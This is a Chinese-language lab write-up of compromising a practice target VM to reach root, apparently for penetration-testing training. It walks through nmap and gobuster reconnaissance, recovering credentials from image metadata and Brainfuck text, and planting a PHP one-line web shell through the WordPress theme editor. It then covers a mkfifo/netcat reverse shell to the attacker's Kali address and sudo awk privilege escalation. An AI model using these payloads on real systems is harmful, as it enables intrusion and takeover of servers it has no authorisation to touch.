下载靶机
问题阐述
使用virtualbox,kali和靶机均使用桥接网络
kali:172.20.10.10 靶机:172.20.10.12
打靶目标
获取到root权限
打靶过程
信息搜集
nmap主机探活,做端口扫描
nmap -v -sP 172.20.10.1/24
nmap -sV -sC 172.20.10.12
gobuster 扫描目录 发现一个wordpress 和其他路径
gobuster dir -u http://172.20.10.12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt // -w指定字典路径
直接做访问 发现提示文件flaghost.png
下载 flaghost.png 查看图片属性 exiftool flaghost.png 得到字符 passwd@45
本俩以为是wordpress账号密码,尝试发现不是,最后发现是路径,直接访问有一个flag2.txt文件
,打开是加密字符,在线解密(Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]),获得flag
web:Hacker@4514
权限提升
修改hosts文件。做域名解析
vim /etc/hosts
写入以下内容
172.20.10.12 localhost
直接访问:http://localhost/wordpress/wp-admin/theme-editor.php?file=header.php&theme=twentynineteen
写入一句话木马 <?php system($_POST['cmd']);?>
进行反弹shell
本地开启监听
nc -lvnp 9001
burpsuit 抓包写反弹shell,等待本地接收连接
cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.20.10.10+9001+>/tmp/f
切换到交互式shell
python3 -c 'import pty;import pty.spawn("/bin/bash")'
用之前获取到的信息进行登录
su web
输入密码 Hacker@4514
特权提升
sudo awk '{ system("/bin/bash")}'